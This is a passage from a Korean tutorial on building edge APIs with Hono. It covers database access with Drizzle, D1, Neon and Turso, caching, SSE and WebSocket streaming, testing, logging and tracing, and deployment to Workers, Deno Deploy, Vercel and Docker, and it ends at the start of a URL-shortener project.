반복문 안에서 API 를 부르는 코드가 여기에 걸립니다 —
Promise.all 로 묶는다고 개수가 줄지는 않으니
배치 엔드포인트를 만들거나 Queue 로 넘기세요.
DB 연동 — Drizzle · D1 · Neon · Turso
엣지에서 ORM 을 고르는 기준은 기능이 아니라 “무엇이 번들에 실리고, 어떻게 DB 에 닿느냐”입니다. 이 한 가지로 후보가 절반으로 줄어듭니다.
Drizzle — 스키마와 마이그레이션
npm i drizzle-orm · npm i -D drizzle-kit// src/db/schema.ts — SQLite(D1) 기준
import { sqliteTable, text, integer, index } from "drizzle-orm/sqlite-core";
import { relations, sql } from "drizzle-orm";
export const users = sqliteTable("users", {
id: text("id").primaryKey(),
email: text("email").notNull().unique(),
name: text("name").notNull(),
createdAt: integer("created_at", { mode: "timestamp" })
.notNull().default(sql`(unixepoch())`),
});
export const posts = sqliteTable("posts", {
id: text("id").primaryKey(),
userId: text("user_id").notNull().references(() => users.id),
title: text("title").notNull(),
views: integer("views").notNull().default(0),
}, (t) => [ index("posts_user_idx").on(t.userId) ]);
export const usersRel = relations(users, ({ many }) => ({ posts: many(posts) }));
export const postsRel = relations(posts, ({ one }) => ({
user: one(users, { fields: [posts.userId], references: [users.id] }),
}));
// ★ 타입이 스키마에서 바로 나옵니다 — 따로 적지 않습니다
export type Post = typeof posts.$inferSelect;
export type NewPost = typeof posts.$inferInsert;
# drizzle.config.ts 에 dialect·schema·out 을 적고
npx drizzle-kit generate # 스키마 차이를 SQL 마이그레이션으로 뽑습니다
npx drizzle-kit migrate # 적용 (Postgres·Turso 등)
npx drizzle-kit studio # 브라우저 DB 뷰어
# D1 은 wrangler 가 마이그레이션을 관리합니다
npx wrangler d1 migrations create app add_posts
npx wrangler d1 migrations apply app --local
npx wrangler d1 migrations apply app --remote # 운영 적용
쿼리 — SQL 을 아는 사람이 편합니다
import { drizzle } from "drizzle-orm/d1";
import { eq, and, desc, sql, inArray } from "drizzle-orm";
import * as schema from "./schema";
app.get("/posts", async (c) => {
const db = drizzle(c.env.DB, { schema }); // ★ 요청마다 만들어도 쌉니다
const rows = await db.select({
id: schema.posts.id, title: schema.posts.title,
author: schema.users.name,
})
.from(schema.posts)
.innerJoin(schema.users, eq(schema.posts.userId, schema.users.id))
.where(and(eq(schema.users.email, "a@b.c"), sql`views > 0`))
.orderBy(desc(schema.posts.views))
.limit(20);
return c.json(rows);
});
// 관계형 조회 — N+1 없이 한 방에 (쿼리 하나로 나갑니다) ★
const withPosts = await db.query.users.findMany({
where: (u, { eq }) => eq(u.email, "a@b.c"),
with: { posts: { limit: 5, orderBy: (p, { desc }) => desc(p.views) } },
});
// 쓰기
await db.insert(schema.posts).values({ id, userId, title }).run();
await db.update(schema.posts).set({ views: sql`views + 1` })
.where(eq(schema.posts.id, id));
await db.delete(schema.posts).where(inArray(schema.posts.id, ids));
// ★ 엣지에서는 왕복이 곧 비용 — 여러 문장을 한 번에 보냅니다
await c.env.DB.batch([
c.env.DB.prepare("UPDATE posts SET views = views + 1 WHERE id = ?1").bind(id),
c.env.DB.prepare("INSERT INTO clicks (post_id) VALUES (?1)").bind(id),
]);
select().from().where() 가 그대로 SQL 순서입니다.
SQL 을 아는 사람에게는 배울 게 거의 없고,
모른다면 🗄️ DB 가이드를 먼저 보는 편이 빠릅니다.
어디에 데이터를 두나 — 네 가지 후보 🟡 중급
| 정체 | 강점 | 약점 · 주의 | |
|---|---|---|---|
| D1 | Workers 내장 SQLite | 바인딩만 하면 끝 · 무료 한도가 넉넉 · 읽기 복제 | DB 크기 상한 · 쓰기는 한 곳으로 모임 |
| Neon | 서버리스 Postgres | 진짜 Postgres · HTTP 드라이버 · 브랜치 기능 | 리전이 멀면 왕복 비용 · 콜드 스타트(스케일 투 제로) |
| Turso | libSQL(SQLite) 분산 | 지역마다 복제본 · 임베디드 복제로 읽기가 아주 빠름 | SQLite 문법 범위 · 쓰기는 주 노드로 |
| Supabase | Postgres + 부가 서비스 | 인증 · 스토리지 · 실시간까지 한 벌 | 엣지에서는 REST(PostgREST) 나 풀러 경유 |
Neon — HTTP 드라이버로 붙기
npm i @neondatabase/serverless drizzle-ormimport { neon } from "@neondatabase/serverless";
import { drizzle } from "drizzle-orm/neon-http";
app.get("/posts", async (c) => {
const sql = neon(c.env.DATABASE_URL); // ★ TCP 가 아니라 HTTPS 로 나갑니다
const db = drizzle(sql, { schema });
return c.json(await db.select().from(schema.posts).limit(20));
});
// 원시 SQL 도 됩니다
const rows = await sql`SELECT id, title FROM posts WHERE views > ${n}`;
// ★ 여러 문장을 한 왕복에 (HTTP 드라이버의 트랜잭션)
const [a, b] = await sql.transaction([
sql`UPDATE posts SET views = views + 1 WHERE id = ${id}`,
sql`INSERT INTO clicks (post_id) VALUES (${id})`,
]);
BEGIN 해 놓고 결과를 보고 COMMIT 을 정하는 방식은
연결을 붙들고 있어야 가능한데, 그게 안 되기 때문입니다.
해법은 셋 — ① 문장을 배열로 묶어 한 번에 보내기,
② 조건을 SQL 안으로 넣기(UPDATE … WHERE version = ?),
③ 정말 필요하면 WebSocket 드라이버나 컨테이너로 그 경로만 분리.
Turso · Prisma Accelerate
// ① Turso (libSQL) — 지역마다 복제본
import { createClient } from "@libsql/client/web";
import { drizzle } from "drizzle-orm/libsql";
const client = createClient({
url: c.env.TURSO_URL, authToken: c.env.TURSO_TOKEN,
});
const db = drizzle(client, { schema });
// ② Prisma Accelerate — 기존 Prisma 코드를 거의 그대로
import { PrismaClient } from "@prisma/client/edge";
import { withAccelerate } from "@prisma/extension-accelerate";
const prisma = new PrismaClient({ datasourceUrl: c.env.PRISMA_URL })
.$extends(withAccelerate());
const posts = await prisma.post.findMany({
take: 20,
cacheStrategy: { ttl: 60, swr: 300 }, // ★ 결과 캐시까지 얹어 줍니다
});
// ③ Prisma 드라이버 어댑터 — 쿼리 엔진 없이 (Node·Bun 환경)
import { PrismaPg } from "@prisma/adapter-pg";
const prisma = new PrismaClient({ adapter: new PrismaPg({ connectionString }) });
실무에선 이렇게 — 캐시가 절반입니다 🔴 실무
두 종류의 캐시를 구분하세요
// ① Cache API — "이 URL 의 응답"을 그 도시에만 저장 (CDN 캐시)
app.get("/posts/:id", async (c) => {
const cache = caches.default;
const key = new Request(c.req.url, { method: "GET" });
const hit = await cache.match(key);
if (hit) return hit; // 도시 안에서 즉시 응답
const res = c.json(await load(c));
res.headers.set("cache-control", "public, max-age=60");
c.executionCtx.waitUntil(cache.put(key, res.clone())); // ★ clone 필수
return res;
});
// ② KV — "이 데이터"를 전 세계에 복제 (앱 데이터 캐시)
const cached = await c.env.KV.get(`post:${id}`, "json");
if (cached) return c.json(cached);
const post = await db.query.posts.findFirst({ where: eq(posts.id, id) });
c.executionCtx.waitUntil(
c.env.KV.put(`post:${id}`, JSON.stringify(post), { expirationTtl: 300 }),
);
return c.json(post);
// 무효화 — 쓸 때 지웁니다
await db.update(posts).set({ title }).where(eq(posts.id, id));
await c.env.KV.delete(`post:${id}`);
| Cache API | KV | |
|---|---|---|
| 단위 | HTTP 응답 | 임의의 값 |
| 범위 | 그 도시만 | 전 세계 복제 |
| 쓰기 반영 | 즉시 | 수십 초 걸릴 수 있음 |
| 알맞은 것 | 공개 페이지 · 목록 | 설정 · 세션 · 조회 결과 |
엣지에서 DB 를 쓰는 다섯 가지 습관
- 왕복 횟수를 센다 — 요청 하나에 DB 호출이 몇 번인지 로그로 찍어 두세요. 3번이 넘으면 설계가 잘못됐거나 Smart Placement 를 켤 때입니다
select()에 컬럼을 적는다 — 엣지는 전송량도 지연입니다.SELECT *로 본문 컬럼까지 끌고 오면 목록 API 가 그대로 느려집니다- 쓰기 뒤에는 캐시를 지운다 — 지우는 코드를 쓰기와 같은 함수 안에 두세요. 다른 곳에 두면 반드시 어긋납니다
- 대화형 트랜잭션을 가정하지 않는다 — 재고 차감·잔액 이체 같은 것은
조건부 UPDATE(
WHERE stock >= ?)로 바꾸면 한 문장으로 안전해집니다 - 마이그레이션은 앞뒤 호환으로 — 배포가 순간이 아니라 점진적이라 옛 코드와 새 스키마가 잠깐 공존합니다. 컬럼 추가 → 코드 배포 → 옛 컬럼 삭제 순서로
// 조건부 UPDATE — 트랜잭션 없이 경쟁 조건을 막는 법 ★
const r = await c.env.DB
.prepare("UPDATE items SET stock = stock - ?1 WHERE id = ?2 AND stock >= ?1")
.bind(qty, id).run();
if (r.meta.changes === 0) // 아무 행도 안 바뀌었다 = 재고 부족
return c.json({ code: "OUT_OF_STOCK" }, 409);
batch 로 줄이기).
처음이라면 Hono + Drizzle + D1 조합이 설치도 요금도 가장 가볍습니다.실시간 · 스트리밍 — 표준 ReadableStream 으로
Express 에서는 res.write() 로 밀어 넣었습니다.
엣지에는 res 가 없으니 스트림을 만들어 Response 에 담아 돌려줍니다.
메모리가 128MB 인 곳에서 몇 GB 응답을 중계할 수 있는 것도 이 덕분입니다.
SSE — hono/streaming 이 다 해 줍니다
import { streamSSE } from "hono/streaming";
app.get("/jobs/:id/events", async (c) => {
return streamSSE(c, async (stream) => {
// 연결이 끊기면 알려 줍니다 (Express 의 req.on("close") 자리)
let closed = false;
stream.onAbort(() => { closed = true; });
for (let p = 0; p <= 100 && !closed; p += 5) {
await stream.writeSSE({
event: "progress",
id: String(Date.now()), // 재연결 시 이어받기용
data: JSON.stringify({ percent: p }),
});
await stream.sleep(300);
}
await stream.writeSSE({ event: "done", data: "ok" });
});
});
// 표준만으로 직접 만들면 이런 모양입니다 (Hono 없이도 됩니다)
app.get("/raw-sse", (c) => {
const enc = new TextEncoder();
const body = new ReadableStream({
async start(ctrl) {
for (let i = 0; i < 5; i++) {
ctrl.enqueue(enc.encode(`data: ${i}\n\n`)); // \n\n (빈 줄 하나)이 이벤트 끝 표시
await new Promise((r) => setTimeout(r, 500));
}
ctrl.close();
},
});
return new Response(body, {
headers: { "content-type": "text/event-stream",
"cache-control": "no-cache" },
});
});
res.flushHeaders()·X-Accel-Buffering: no·
setInterval 로 하던 ping 유지가 대부분 사라집니다.
엣지 플랫폼이 스트림을 버퍼링하지 않기 때문입니다.
다만 중간에 낀 프록시가 있으면 여전히 확인이 필요합니다.
LLM 토큰 중계 — 실전에서 가장 많이 쓰는 형태
// 브라우저에 API 키를 못 주므로 워커가 대신 부르고 흘려보냅니다
app.post("/chat", async (c) => {
const { messages } = await c.req.json();
const upstream = await fetch("https://api.example.com/v1/chat", {
method: "POST",
headers: { authorization: `Bearer ${c.env.API_KEY}`,
"content-type": "application/json" },
body: JSON.stringify({ model: "m", messages, stream: true }),
});
if (!upstream.ok || !upstream.body)
return c.json({ code: "UPSTREAM" }, 502);
// ★ 가장 단순한 방법 — 몸통을 그대로 넘깁니다 (메모리 0)
return new Response(upstream.body, {
headers: { "content-type": "text/event-stream",
"cache-control": "no-cache" },
});
});
// 중간에서 손을 대야 한다면 TransformStream 을 끼웁니다
const filter = new TransformStream<Uint8Array, Uint8Array>({
transform(chunk, ctrl) {
const text = new TextDecoder().decode(chunk);
if (text.includes("[[secret]]")) return; // 걸러내기
ctrl.enqueue(chunk);
},
});
return new Response(upstream.body.pipeThrough(filter), { headers });
// 브라우저 쪽 — fetch 의 reader 로 읽습니다
const res = await fetch("/chat", { method: "POST", body });
const reader = res.body!.pipeThrough(new TextDecoderStream()).getReader();
for (;;) {
const { value, done } = await reader.read();
if (done) break;
append(value); // 화면에 이어 붙이기
}
event: error)로 알려야 합니다.
WebSocket — 런타임마다 다릅니다 🔴 실무
Bun · Deno — 익숙한 모양
// ① Bun — serve 안에 websocket 핸들러를 함께 둡니다
Bun.serve({
port: 3000,
fetch(req, server) {
if (new URL(req.url).pathname === "/ws") {
const ok = server.upgrade(req, { data: { room: "lobby" } });
return ok ? undefined : new Response("upgrade failed", { status: 400 });
}
return app.fetch(req); // 나머지는 Hono 로
},
websocket: {
open(ws) { ws.subscribe("lobby"); }, // ★ 내장 pub/sub
message(ws, msg) { ws.publish("lobby", String(msg)); },
close(ws) { ws.unsubscribe("lobby"); },
},
});
// ② Deno — 표준 업그레이드 API
Deno.serve((req) => {
if (req.headers.get("upgrade") === "websocket") {
const { socket, response } = Deno.upgradeWebSocket(req);
socket.onmessage = (e) => socket.send(`echo: ${e.data}`);
return response;
}
return app.fetch(req);
});
@hono/node-ws·hono/bun·hono/deno 의
upgradeWebSocket 을 쓰면 라우트처럼 적을 수 있어
런타임 간 코드 차이가 더 줄어듭니다.
Workers — Durable Objects 가 필요합니다
// 아이솔레이트는 요청마다 다른 곳에서 뜨므로 "연결을 붙들 주인"이 필요합니다.
// Durable Object 는 이름(키)마다 인스턴스가 하나뿐임이 보장됩니다 ★
export class Room implements DurableObject {
constructor(private state: DurableObjectState, private env: Env) {}
async fetch(req: Request) {
const pair = new WebSocketPair();
const [client, server] = Object.values(pair);
// ★ 하이버네이션 — 메시지가 없는 동안 메모리에서 내려갑니다 (요금 절약)
this.state.acceptWebSocket(server);
return new Response(null, { status: 101, webSocket: client });
}
async webSocketMessage(ws: WebSocket, msg: string) {
for (const peer of this.state.getWebSockets()) peer.send(msg); // 방 전체에
}
async webSocketClose(ws: WebSocket) { /* 정리 */ }
}
// 라우트에서 방 이름으로 인스턴스를 찾아 넘깁니다
app.get("/room/:name", (c) => {
const id = c.env.ROOM.idFromName(c.req.param("name"));
return c.env.ROOM.get(id).fetch(c.req.raw);
});
무엇을 고를 것인가
| 필요한 것 | 고를 것 |
|---|---|
| 진행률 · 알림 · 로그 꼬리 | SSE — 브라우저가 재연결까지 해 줍니다 |
| LLM 답변 흘리기 | 스트리밍 응답 (SSE 또는 그냥 chunked) |
| 큰 파일 내려주기 | Response(stream) — R2 몸통을 그대로 |
| 채팅 · 협업 커서 | WebSocket + Durable Objects |
| 양방향인데 지연은 관대 | SSE + 평범한 POST 조합 |
// 큰 파일 — R2 의 몸통을 그대로 넘깁니다 (메모리에 안 올림)
app.get("/files/:key", async (c) => {
const obj = await c.env.BUCKET.get(c.req.param("key"));
if (!obj) return c.notFound();
return new Response(obj.body, {
headers: {
"content-type": obj.httpMetadata?.contentType ?? "application/octet-stream",
"content-length": String(obj.size),
etag: obj.httpEtag,
},
});
});
스트리밍에서 실제로 겪는 문제
- 느린 클라이언트 — 지하철에 들어간 사용자에게 계속 밀어 넣으면
큐가 쌓입니다.
ReadableStream은 역압(backpressure) 을 알아서 걸어 주지만, 내가 만든 원본(setInterval 등)은 스스로 멈춰야 합니다 - 끊김 감지 —
stream.onAbort()나c.req.raw.signal.aborted를 확인하지 않으면 아무도 안 듣는 응답을 계속 만듭니다 (CPU 시간이 그대로 요금) - 놓친 것 메우기 — 재연결 직후
Last-Event-ID헤더를 읽어 그 뒤부터 보내세요. 이걸 안 하면 화면이 조용히 어긋납니다 - 버퍼링하는 중간 장비 — 회사 프록시·일부 CDN 설정이 응답을 모읍니다.
cache-control: no-transform을 붙여 두면 대부분 해결됩니다 - 실행 시간 상한 — 엣지의 요청은 영원히 살지 않습니다. 장시간 연결은 Durable Objects 로 옮기거나 주기적으로 재연결하게 설계하세요
// 끊김 감지 — 안 하면 요금이 샙니다
app.get("/tail", (c) => streamSSE(c, async (stream) => {
const signal = c.req.raw.signal;
while (!signal.aborted) {
await stream.writeSSE({ data: await nextLine() });
}
}));
streamSSE, 중계면 upstream.body 를 그대로,
양방향이면 WebSocket(Workers 는 Durable Objects) 입니다.
그리고 어떤 경우든 끊김을 감지해 멈추는 코드를 반드시 함께 두세요 — 그게 곧 요금입니다.테스트 · 관측 — 서버를 띄우지 않고, 프로세스도 없이
Hono 앱은 “Request 를 받아 Response 를 돌려주는 함수”입니다. 그래서 테스트가 함수 호출이 됩니다 — 포트도, 정리 코드도, 기다림도 없습니다. 대신 운영에서는 붙을 프로세스가 없어 관측 방식이 완전히 달라집니다.
app.request() — 어느 러너에서든 같습니다
// Vitest · bun test · deno test 전부 같은 코드입니다
import { describe, it, expect } from "vitest";
import { app } from "../src/app";
describe("posts API", () => {
it("목록을 준다", async () => {
const res = await app.request("/api/posts"); // ★ 이게 전부
expect(res.status).toBe(200);
expect(await res.json()).toHaveProperty("items");
});
it("본문이 틀리면 400", async () => {
const res = await app.request("/api/posts", {
method: "POST",
headers: { "content-type": "application/json",
authorization: `Bearer ${token}` }, // 인증은 통과시켜야 검증까지 갑니다
body: JSON.stringify({ title: "" }), // min(1) 위반
});
expect(res.status).toBe(400);
expect((await res.json()).code).toBe("VALIDATION_ERROR");
});
it("토큰이 없으면 401", async () => {
const res = await app.request("/api/posts", { method: "POST" });
expect(res.status).toBe(401);
});
// 표준 Request 를 직접 넘겨도 됩니다
it("Request 객체로도", async () => {
const req = new Request("http://x/api/posts?page=2");
expect((await app.request(req)).status).toBe(200);
});
});
npx vitest run # Node
bun test # Bun (설정 파일 없이)
deno test --allow-net # Deno
바인딩과 타입 붙은 테스트 클라이언트
// ① 두 번째 인자로 env(바인딩)를 흉내 냅니다
const res = await app.request("/config", {}, {
KV: fakeKv, // 내가 만든 가짜
JWT_SECRET: "test-secret",
});
// ② 타입이 붙은 테스트 클라이언트 — 오타가 컴파일에서 잡힙니다 ★
import { testClient } from "hono/testing";
const client = testClient(app);
const r = await client.api.posts.$post({
json: { title: "제목", body: "본문" }, // ❌ 스키마와 다르면 컴파일 에러
}, { headers: { authorization: `Bearer ${token}` } }); // 두 번째 인자로 헤더
expect(r.status).toBe(201);
// ③ Workers 라면 진짜 workerd 위에서 돌릴 수 있습니다 (D1·KV 가 진짜로 동작)
// vitest.config.ts
import { defineWorkersConfig } from "@cloudflare/vitest-pool-workers/config";
export default defineWorkersConfig({
test: {
poolOptions: { workers: {
wrangler: { configPath: "./wrangler.jsonc" },
miniflare: { d1Databases: ["DB"], kvNamespaces: ["KV"] },
} },
},
});
// 테스트에서 진짜 바인딩을 받습니다
import { env, SELF } from "cloudflare:test";
it("D1 에 실제로 쓴다", async () => {
await env.DB.prepare("INSERT INTO posts (id,title) VALUES (?1,?2)")
.bind("p1", "제목").run();
const res = await SELF.fetch("https://x/api/posts"); // 워커 전체를 통과
expect((await res.json()).items).toHaveLength(1);
});
app.request() 로 라우팅·검증·에러 형태를 아주 빠르게 훑고(수백 개),
② vitest-pool-workers 로 DB·KV 가 실제로 도는 경로만 몇 개 확인합니다.
②를 전부에 쓰면 느려서 아무도 안 돌리게 됩니다.
로깅 — 한 줄에 한 요청 🟡 중급
구조화 로그 미들웨어
import { createMiddleware } from "hono/factory";
export const accessLog = createMiddleware(async (c, next) => {
const t0 = Date.now();
const rid = c.req.header("cf-ray") ?? crypto.randomUUID();
c.set("requestId", rid);
await next();
// ★ console.log 한 번이 로그 한 줄입니다 (JSON 으로 찍으면 검색이 됩니다)
console.log(JSON.stringify({
rid,
method: c.req.method,
path: new URL(c.req.url).pathname,
status: c.res.status,
ms: Date.now() - t0,
colo: (c.req.raw as any).cf?.colo, // 어느 도시에서 처리했나 ★
country:(c.req.raw as any).cf?.country,
ua: c.req.header("user-agent")?.slice(0, 60),
}));
});
// 응답에도 넣어 두면 사용자가 문의할 때 바로 찾습니다
app.use(async (c, next) => {
await next();
c.res.headers.set("x-request-id", c.get("requestId"));
});
운영에서 보는 법
# ① 실시간 꼬리보기 — 배포 직후 가장 먼저 하는 일
npx wrangler tail
npx wrangler tail --status error # 에러만
npx wrangler tail --search "abc123" # 특정 요청만 (로그의 rid 값으로)
npx wrangler tail --format json | jq 'select(.outcome != "ok")'
# ② 대시보드에 남기기 — wrangler.jsonc
# "observability": { "enabled": true, "head_sampling_rate": 1 }
# → Workers Logs 에서 필드로 검색·집계할 수 있습니다
# ③ 외부로 내보내기 (Logpush) — S3·R2·Datadog 등으로 적재
npx wrangler logpush create --dataset workers_trace_events ...
// ④ Tail Worker — 다른 워커의 로그를 받아 가공하는 워커 ★
// wrangler.jsonc(메인): "tail_consumers": [{ "service": "log-shipper" }]
export default {
async tail(events: TraceItem[], env: Env) {
const lines = events.flatMap((e) => e.logs.map((l) => ({
ts: l.timestamp, level: l.level, msg: l.message,
outcome: e.outcome, url: e.event?.request?.url,
})));
await fetch(env.LOG_ENDPOINT, {
method: "POST", body: JSON.stringify(lines),
});
},
};
console.log 만 하고,
어디로 보낼지는 Tail Worker 가 결정합니다.
수집처를 바꿔도 메인 코드는 한 줄도 안 바뀝니다.
실무에선 이렇게 — 에러 리포팅과 트레이스 🔴 실무
에러는 onError 한 곳에서
import { HTTPException } from "hono/http-exception";
import { Toucan } from "toucan-js"; // Workers 용 Sentry SDK
app.onError((err, c) => {
const rid = c.get("requestId");
// 예상한 에러 — 조용히 응답만
if (err instanceof HTTPException) return err.getResponse();
// 예상 못 한 에러 — 보고하고 일반 메시지
const sentry = new Toucan({
dsn: c.env.SENTRY_DSN,
context: c.executionCtx, // ★ waitUntil 을 넘겨 줍니다
request: c.req.raw,
requestDataOptions: { allowedHeaders: ["user-agent"] }, // PII 주의
});
sentry.setTag("rid", rid);
sentry.captureException(err);
console.error(JSON.stringify({ rid, msg: String(err), stack: err.stack }));
return c.json({ code: "INTERNAL_ERROR", requestId: rid }, 500);
});
// 예상한 실패는 예외로 던져 두면 형태가 저절로 통일됩니다
throw new HTTPException(404, { message: "글을 찾을 수 없습니다" });
context: c.executionCtx 를 빼먹으면 보고가 안 갑니다.
전송이 응답 이후에 일어나는데, waitUntil 없이는
아이솔레이트가 먼저 정리되기 때문입니다. Express 에서는 없던 함정입니다.
분산 트레이스 — 요청 하나를 끝까지
// ① 헤더로 이어 붙이기 (표준 W3C traceparent)
app.use(async (c, next) => {
const parent = c.req.header("traceparent");
c.set("trace", parent ?? newTraceparent());
await next();
});
// 다른 서비스를 부를 때 그대로 전달합니다 ★ 이걸 해야 한 줄로 이어집니다
await fetch(url, { headers: { traceparent: c.get("trace") } });
// ② OpenTelemetry — 계측 라이브러리를 앱 전체에 감쌉니다
import { instrument } from "@microlabs/otel-cf-workers";
const config = (env: Env) => ({
exporter: { url: env.OTLP_URL,
headers: { authorization: env.OTLP_KEY } },
service: { name: "my-api" },
});
export default instrument(app, config); // ★ 라우트·fetch·D1 이 자동 계측됩니다
| 보고 싶은 것 | 도구 |
|---|---|
| 지금 무슨 일이 나나 | wrangler tail |
| 어제 그 요청 | Workers Logs (검색) |
| 느린 구간이 어디 | OTel 트레이스 · server-timing |
| 얼마나 자주 터지나 | Sentry 이슈 집계 |
| 도시별 지연 | Analytics (cf.colo 로 그룹) |
cf.colo 를 로그에 넣어 두면
Smart Placement 를 켤지가 데이터로 판단됩니다(g08).
app.request() 한 줄이면 되고,
바인딩이 진짜로 필요한 몇 개만 vitest-pool-workers 로 돌립니다.
관측은 console.log 를 JSON 으로 찍고 wrangler tail 로 보고,
수집처는 Tail Worker 에 맡깁니다. 에러는 onError 한 곳에서
waitUntil 로 보내야 실제로 도착합니다.배포 — 커밋 하나가 전 세계에 닿기까지
엣지 배포의 특징은 빠르고 되돌리기 쉽다는 것입니다. 이미지를 만들지 않으니 배포가 수 초이고, 이전 버전이 그대로 남아 롤백이 한 줄입니다. 대신 시크릿 관리와 요금 모델은 처음부터 정해 두어야 합니다.
Cloudflare Workers
npx wrangler deploy # 운영으로
npx wrangler deploy --env staging # 환경 분리 (wrangler.jsonc 의 env)
# ★ 점진 배포 — 새 버전을 올려 두고 비율만 옮깁니다
npx wrangler versions upload # 아직 트래픽 0
npx wrangler versions deploy # 대화형으로 비율 지정 (예: 10%)
npx wrangler deployments list # 이력
npx wrangler rollback [버전ID] # 되돌리기
# 시크릿 (배포와 별개로 저장됩니다)
npx wrangler secret put JWT_SECRET
npx wrangler secret put DATABASE_URL --env staging
npx wrangler secret bulk .secrets.json
// wrangler.jsonc — 도메인과 환경
{
"name": "my-api",
"main": "src/index.ts",
"compatibility_date": "2026-08-01",
"vars": { "APP_ENV": "production" },
"routes": [
{ "pattern": "api.example.com", "custom_domain": true }
],
"env": {
"staging": {
"vars": { "APP_ENV": "staging" },
"routes": [{ "pattern": "api-stg.example.com", "custom_domain": true }]
}
}
}
Deno Deploy · Vercel
# ── Deno Deploy ──
deno install -Arf jsr:@deno/deployctl
deployctl deploy --project=my-api --prod src/main.ts
deployctl deploy --project=my-api src/main.ts # 미리보기(프리뷰)
deployctl logs --project=my-api
# · GitHub 저장소를 연결하면 push 만으로 배포됩니다
# · Deno KV 가 프로젝트에 자동으로 붙습니다 (g06)
# ── Vercel ──
npm i -g vercel
vercel # 미리보기 배포
vercel --prod # 운영 배포
vercel env add JWT_SECRET production
vercel logs --follow
// Vercel 에서 Hono — 파일 하나면 됩니다
// api/index.ts
import { handle } from "hono/vercel";
import { app } from "../src/app";
export const GET = handle(app);
export const POST = handle(app);
export const PATCH = handle(app);
export const DELETE = handle(app);
컨테이너 — Bun 도커 멀티스테이지 🟡 중급
Dockerfile
# syntax=docker/dockerfile:1
# ── ① 의존성만 설치하는 층 (캐시가 가장 잘 듣는 곳) ──
FROM oven/bun:1-alpine AS deps
WORKDIR /app
COPY package.json bun.lock ./
RUN bun install --frozen-lockfile
# ── ② 빌드 ──
FROM deps AS build
COPY . .
RUN bun run build # 또는 bun build src/index.ts --outdir dist --target bun
# ── ③ 운영용 의존성만 다시 설치 ──
FROM oven/bun:1-alpine AS prod-deps
WORKDIR /app
COPY package.json bun.lock ./
RUN bun install --frozen-lockfile --production
# ── ④ 최종 이미지 — 소스도 개발 의존성도 없습니다 ──
FROM oven/bun:1-alpine AS runner
WORKDIR /app
ENV NODE_ENV=production
COPY --from=prod-deps /app/node_modules ./node_modules
COPY --from=build /app/dist ./dist
COPY package.json ./
# ★ root 로 돌리지 마세요 (Dockerfile 주석은 줄 맨 앞에서만 — 명령 뒤에 붙이면 인자가 됩니다)
USER bun
EXPOSE 3000
HEALTHCHECK --interval=30s --timeout=3s \
CMD bun --eval "fetch('http://127.0.0.1:3000/health').then(r=>process.exit(r.ok?0:1))"
CMD ["bun", "dist/index.js"]
bun build --compile 로 단일 실행 파일을 만들고
FROM gcc:distroless 나 alpine 에 그 파일 하나만 넣으면 됩니다.
다만 실행 파일 자체가 수십 MB 라 항상 더 작아지지는 않습니다 — 재 보고 정하세요.
환경 변수와 시크릿 — 원칙 다섯
- 평문과 비밀을 구분 — 로그 레벨·기능 플래그는
vars, 토큰·DB 비밀번호는secret. 둘을 섞으면 대시보드에 그대로 보입니다 - 로컬 파일은 저장소 밖 — Workers 는
.dev.vars, Node·Bun 은.env..gitignore에 먼저 넣고 파일을 만드세요 - 번들에 들어가는 값은 비밀이 아닙니다 — 프런트로 나가는 값은
누구나 볼 수 있습니다(
NEXT_PUBLIC_·VITE_접두어의 의미) - 환경별로 다른 이름의 자원 — 스테이징이 운영 DB 를 보는 사고가 가장 흔합니다. 바인딩 id 를 환경마다 분리하세요
- 돌려 막기(rotation) 절차를 미리 — 새 시크릿을 추가하고, 코드가 둘 다 받아들이게 한 뒤, 옛것을 지웁니다
# .github/workflows/deploy.yml
name: deploy
on: { push: { branches: [main] } }
jobs:
ship:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: oven-sh/setup-bun@v2
- run: bun install --frozen-lockfile
- run: bun test
- run: bunx tsc --noEmit
- name: Deploy
run: bunx wrangler deploy
env:
CLOUDFLARE_API_TOKEN: ${{ secrets.CF_API_TOKEN }}
CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CF_ACCOUNT_ID }}
실무에선 이렇게 — 요금은 모양이 다릅니다 🔴 실무
요청당 vs 인스턴스 — 어디서 갈리나
| 상황 | 요청당(엣지) | 인스턴스 |
|---|---|---|
| 하루 1천 요청 | 거의 0원 | 서버 1대 값 그대로 |
| 밤에 트래픽 0 | 0원 | 그대로 냄 |
| DB 3초 대기 | CPU 안 씀 | 그 시간도 돈 |
| 이미지 변환 반복 | 비쌈 (CPU 과금) | 쌈 |
| 초당 1천 요청 상시 | 계산이 필요 | 대개 쌈 |
| 갑자기 100배 | 그냥 늘어남 | 스케일 지연 · 장애 |
| 대용량 전송 | R2 는 전송 무료 | egress 요금 큼 |
배포 전 체크리스트
| 확인할 것 | |
|---|---|
| □ | compatibility_date 가 최신인가 (g07) |
| □ | 시크릿이 코드·설정 파일이 아니라 secret 에 있는가 |
| □ | 스테이징이 운영 DB 를 안 보는가 |
| □ | onError·notFound 가 등록됐는가 |
| □ | CORS origin 이 * 가 아닌가 |
| □ | Rate Limit 이 KV·DO 기반인가 (메모리 아님, g03) |
| □ | 번들 크기를 --dry-run 으로 확인했는가 |
| □ | 마이그레이션이 앞뒤 호환인가 (g09) |
| □ | 롤백 명령을 실제로 한 번 해 봤는가 |
| □ | wrangler tail 로 첫 5분을 볼 사람이 있는가 |
# 배포 직후 30초 루틴
npx wrangler tail --status error & # 에러만 흘려 두고
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" \
https://api.example.com/health
npx wrangler deployments list | head -3 # 어떤 버전이 떴는지 확인
versions upload → 10% → 확인 → 100%
순서를 습관으로 만드세요. 되돌리는 것도 수 초입니다.
wrangler deploy ·
deployctl deploy · vercel --prod)이고,
진짜 신경 쓸 것은 시크릿 분리 · 환경별 자원 분리 · 점진 배포와 롤백 세 가지입니다.
요금은 “요청 수 × CPU 시간” 으로 계산하고,
계산이 무거운 일만 컨테이너나 Queue 로 덜어 내면 됩니다.실전 — URL 단축 + 클릭 통계 API
지금까지 배운 것을 전부 씁니다 — Hono + Drizzle(D1) + JWT + Zod 검증 + RPC 타입 공유 + KV 캐시, 그리고 Workers 배포까지. 짧은 주소로 들어온 요청을 10ms 안에 넘겨주면서 클릭 기록은 응답을 막지 않고 남기는 것이 목표입니다.
폴더 구조
short/
├─ wrangler.jsonc Workers 설정 · 바인딩
├─ drizzle.config.ts
├─ package.json
├─ migrations/ wrangler d1 migrations 가 만듭니다
│ └─ 0001_init.sql
├─ src/
